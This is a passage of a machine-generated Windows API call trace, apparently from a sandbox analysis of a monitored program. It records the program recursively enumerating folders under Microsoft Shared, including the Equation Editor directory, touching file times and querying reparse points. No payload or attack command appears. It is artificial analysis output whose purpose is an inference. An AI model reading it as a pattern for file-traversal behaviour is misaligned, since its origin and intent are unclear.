lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51e19d30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xdbe166c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xdbe166c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0046.413] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4a0ba500, ftCreationTime.dwHighDateTime=0x1c982ad, ftLastAccessTime.dwLowDateTime=0x6086b2d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4a0ba500, ftLastWriteTime.dwHighDateTime=0x1c982ad, nFileSizeHigh=0x0, nFileSizeLow=0x14e760, dwReserved0=0x0, dwReserved1=0x0, cFileName="DBGHELP.DLL", cAlternateFileName="")) returned 1 [0046.413] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c738 [0046.413] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c738) returned 1 [0046.413] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c738 [0046.413] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c738) returned 1 [0046.413] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c738 [0046.414] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c738) returned 1 [0046.414] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2f8f7000, ftCreationTime.dwHighDateTime=0x1cba06d, ftLastAccessTime.dwLowDateTime=0xdb9ec040, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x2f8f7000, ftLastWriteTime.dwHighDateTime=0x1cba06d, nFileSizeHigh=0x0, nFileSizeLow=0xf2b88, dwReserved0=0x0, dwReserved1=0x0, cFileName="DW20.EXE", cAlternateFileName="")) returned 1 [0046.414] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c738 [0046.414] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c738) returned 1 [0046.414] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c738 [0046.414] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c738) returned 1 [0046.414] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c738 [0046.414] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c738) returned 1 [0046.414] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2e5e4300, ftCreationTime.dwHighDateTime=0x1cba06d, ftLastAccessTime.dwLowDateTime=0xdbe62980, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x2e5e4300, ftLastWriteTime.dwHighDateTime=0x1cba06d, nFileSizeHigh=0x0, nFileSizeLow=0x99ba0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DWTRIG20.EXE", cAlternateFileName="")) returned 1 [0046.414] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c738 [0046.414] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c738) returned 1 [0046.414] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c738 [0046.414] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c738) returned 1 [0046.414] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c738 [0046.414] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c738) returned 1 [0046.414] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2e5e4300, ftCreationTime.dwHighDateTime=0x1cba06d, ftLastAccessTime.dwLowDateTime=0xdbe62980, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x2e5e4300, ftLastWriteTime.dwHighDateTime=0x1cba06d, nFileSizeHigh=0x0, nFileSizeLow=0x99ba0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DWTRIG20.EXE", cAlternateFileName="")) returned 0 [0046.414] GetLastError () returned 0x12 [0046.414] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\*", fInfoLevelId=0x1, lpFindFileData=0x174ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ef54) returned 0x60d1a0 [0046.414] FindClose (in: hFindFile=0x60d160 | out: hFindFile=0x60d160) returned 1 [0046.414] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51e19d30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xdbe166c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xdbe166c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0046.414] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4a0ba500, ftCreationTime.dwHighDateTime=0x1c982ad, ftLastAccessTime.dwLowDateTime=0x6086b2d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4a0ba500, ftLastWriteTime.dwHighDateTime=0x1c982ad, nFileSizeHigh=0x0, nFileSizeLow=0x14e760, dwReserved0=0x0, dwReserved1=0x0, cFileName="DBGHELP.DLL", cAlternateFileName="")) returned 1 [0046.414] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2f8f7000, ftCreationTime.dwHighDateTime=0x1cba06d, ftLastAccessTime.dwLowDateTime=0xdb9ec040, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x2f8f7000, ftLastWriteTime.dwHighDateTime=0x1cba06d, nFileSizeHigh=0x0, nFileSizeLow=0xf2b88, dwReserved0=0x0, dwReserved1=0x0, cFileName="DW20.EXE", cAlternateFileName="")) returned 1 [0046.414] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2e5e4300, ftCreationTime.dwHighDateTime=0x1cba06d, ftLastAccessTime.dwLowDateTime=0xdbe62980, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x2e5e4300, ftLastWriteTime.dwHighDateTime=0x1cba06d, nFileSizeHigh=0x0, nFileSizeLow=0x99ba0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DWTRIG20.EXE", cAlternateFileName="")) returned 1 [0046.414] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2e5e4300, ftCreationTime.dwHighDateTime=0x1cba06d, ftLastAccessTime.dwLowDateTime=0xdbe62980, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x2e5e4300, ftLastWriteTime.dwHighDateTime=0x1cba06d, nFileSizeHigh=0x0, nFileSizeLow=0x99ba0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DWTRIG20.EXE", cAlternateFileName="")) returned 0 [0046.414] GetLastError () returned 0x12 [0046.414] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c6b0) returned 1 [0046.414] FindClose (in: hFindFile=0x60d1a0 | out: hFindFile=0x60d1a0) returned 1 [0046.414] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0046.414] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c5a0) returned 1 [0046.414] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeef015d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="EQUATION", cAlternateFileName="")) returned 1 [0046.415] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c5a0 [0046.415] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION" (normalized: "c:\\program files\\common files\\microsoft shared\\equation"), fInfoLevelId=0x0, lpFileInformation=0x174f108 | out: lpFileInformation=0x174f108*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeef015d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0046.415] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION" (normalized: "c:\\program files\\common files\\microsoft shared\\equation"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x188 [0046.415] SetFileTime (hFile=0x188, lpCreationTime=0x0, lpLastAccessTime=0x174f14c, lpLastWriteTime=0x174f14c) returned 0 [0046.415] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x4000) returned 0xf8de90 [0046.415] DeviceIoControl (in: hDevice=0x188, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xf8de90, nOutBufferSize=0x4000, lpBytesReturned=0x174f1a4, lpOverlapped=0x0 | out: lpOutBuffer=0xf8de90, lpBytesReturned=0x174f1a4, lpOverlapped=0x0) returned 0 [0046.415] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf8de90) returned 1 [0046.415] NtClose (Handle=0x188) returned 0x0 [0046.415] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c5a0) returned 1 [0046.415] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c5a0 [0046.415] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0046.415] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c6b0 [0046.415] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\*", fInfoLevelId=0x1, lpFindFileData=0x174ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ef54) returned 0x60d1a0 [0046.415] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeef015d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0046.415] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeed38550, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeed38550, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0046.415] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5d107e00, ftCreationTime.dwHighDateTime=0x1bb541c, ftLastAccessTime.dwLowDateTime=0xeed5e6b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x5d107e00, ftLastWriteTime.dwHighDateTime=0x1bb541c, nFileSizeHigh=0x0, nFileSizeLow=0x9fd, dwReserved0=0x0, dwReserved1=0x0, cFileName="EQNEDT32.CNT", cAlternateFileName="")) returned 1 [0046.415] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c738 [0046.415] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c738) returned 1 [0046.415] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c738 [0046.415] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c738) returned 1 [0046.415] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c738 [0046.416] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf83a78 [0046.416] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0046.416] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xf89e08 [0046.416] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf83b80 [0046.416] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c738) returned 1 [0046.416] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28305200, ftCreationTime.dwHighDateTime=0x1c2f1c2, ftLastAccessTime.dwLowDateTime=0xeed5e6b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x28305200, ftLastWriteTime.dwHighDateTime=0x1c2f1c2, nFileSizeHigh=0x0, nFileSizeLow=0x84a48, dwReserved0=0x0, dwReserved1=0x0, cFileName="EQNEDT32.EXE", cAlternateFileName="")) returned 1 [0046.416] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c738 [0046.416] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c738) returned 1 [0046.416] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c738 [0046.416] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c738) returned 1 [0046.416] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c738 [0046.416] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c738) returned 1 [0046.416] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3acd3b00, ftCreationTime.dwHighDateTime=0x1c6cca0, ftLastAccessTime.dwLowDateTime=0xeed5e6b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x3acd3b00, ftLastWriteTime.dwHighDateTime=0x1c6cca0, nFileSizeHigh=0x0, nFileSizeLow=0x236, dwReserved0=0x0, dwReserved1=0x0, cFileName="eqnedt32.exe.manifest", cAlternateFileName="")) returned 1 [0046.416] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c738 [0046.416] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c738) returned 1 [0046.416] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c738 [0046.416] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c738) returned 1 [0046.416] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c738 [0046.416] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xf89e28 [0046.416] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf83c88 [0046.416] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c738) returned 1 [0046.416] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3bd0200, ftCreationTime.dwHighDateTime=0x1be1298, ftLastAccessTime.dwLowDateTime=0xeed5e6b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x3bd0200, ftLastWriteTime.dwHighDateTime=0x1be1298, nFileSizeHigh=0x0, nFileSizeLow=0x2b0b7, dwReserved0=0x0, dwReserved1=0x0, cFileName="EQNEDT32.HLP", cAlternateFileName="")) returned 1 [0046.416] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c738 [0046.416] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c738) returned 1 [0046.416] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c738 [0046.416] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c738) returned 1 [0046.416] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c738 [0046.416] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xf89e48 [0046.416] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf8d030 [0046.416] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c738) returned 1 [0046.416] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95fd7600, ftCreationTime.dwHighDateTime=0x1bc9dc7, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x95fd7600, ftLastWriteTime.dwHighDateTime=0x1bc9dc7, nFileSizeHigh=0x0, nFileSizeLow=0x1de8, dwReserved0=0x0, dwReserved1=0x0, cFileName="MTEXTRA.TTF", cAlternateFileName="")) returned 1 [0046.416] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c738 [0046.416] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c738) returned 1 [0046.416] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c738 [0046.416] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c738) returned 1 [0046.416] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c738 [0046.417] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xf89e68 [0046.417] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf8d138 [0046.417] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c738) returned 1 [0046.417] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95fd7600, ftCreationTime.dwHighDateTime=0x1bc9dc7, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x95fd7600, ftLastWriteTime.dwHighDateTime=0x1bc9dc7, nFileSizeHigh=0x0, nFileSizeLow=0x1de8, dwReserved0=0x0, dwReserved1=0x0, cFileName="MTEXTRA.TTF", cAlternateFileName="")) returned 0 [0046.417] GetLastError () returned 0x12 [0046.417] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\*", fInfoLevelId=0x1, lpFindFileData=0x174ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ef54) returned 0x60d160 [0046.417] FindClose (in: hFindFile=0x60d1a0 | out: hFindFile=0x60d1a0) returned 1 [0046.417] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeef015d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0046.417] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeed38550, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeed38550, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0046.417] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c738 [0046.417] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\1033"), fInfoLevelId=0x0, lpFileInformation=0x174ee50 | out: lpFileInformation=0x174ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeed38550, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeed38550, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0046.425] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\1033"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x188 [0046.425] SetFileTime (hFile=0x188, lpCreationTime=0x0, lpLastAccessTime=0x174ee94, lpLastWriteTime=0x174ee94) returned 0 [0046.425] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x4000) returned 0xf8de90 [0046.425] DeviceIoControl (in: hDevice=0x188, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xf8de90, nOutBufferSize=0x4000, lpBytesReturned=0x174eeec, lpOverlapped=0x0 | out: lpOutBuffer=0xf8de90, lpBytesReturned=0x174eeec, lpOverlapped=0x0) returned 0 [0046.425] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf8de90) returned 1 [0046.425] NtClose (Handle=0x188) returned 0x0 [0046.425] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c738) returned 1 [0046.425] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c738 [0046.425] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0046.426] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c7c0 [0046.426] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\*", fInfoLevelId=0x1, lpFindFileData=0x174ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ec9c) returned 0x60d1a0 [0046.426] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeed38550, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeed38550, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0046.427] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x723f8e00, ftCreationTime.dwHighDateTime=0x1c2e156, ftLastAccessTime.dwLowDateTime=0xeed38550, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x723f8e00, ftLastWriteTime.dwHighDateTime=0x1c2e156, nFileSizeHigh=0x0, nFileSizeLow=0xfa60, dwReserved0=0x0, dwReserved1=0x0, cFileName="EEINTL.DLL", cAlternateFileName="")) returned 1 [0046.427] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c848 [0046.427] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c848) returned 1 [0046.427] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c848 [0046.427] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c848) returned 1 [0046.427] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c848 [0046.427] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c848) returned 1 [0046.427] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x723f8e00, ftCreationTime.dwHighDateTime=0x1c2e156, ftLastAccessTime.dwLowDateTime=0xeed38550, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x723f8e00, ftLastWriteTime.dwHighDateTime=0x1c2e156, nFileSizeHigh=0x0, nFileSizeLow=0xfa60, dwReserved0=0x0, dwReserved1=0x0, cFileName="EEINTL.DLL", cAlternateFileName="")) returned 0 [0046.427] GetLastError () returned 0x12 [0046.427] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\*", fInfoLevelId=0x1, lpFindFileData=0x174ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ec9c) returned 0x60d1e0 [0046.427] FindClose (in: hFindFile=0x60d1a0 | out: hFindFile=0x60d1a0) returned 1 [0046.427] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeed38550, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeed38550, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0046.427] FindNextFileW (in: hFindFile=0x60d1e0, 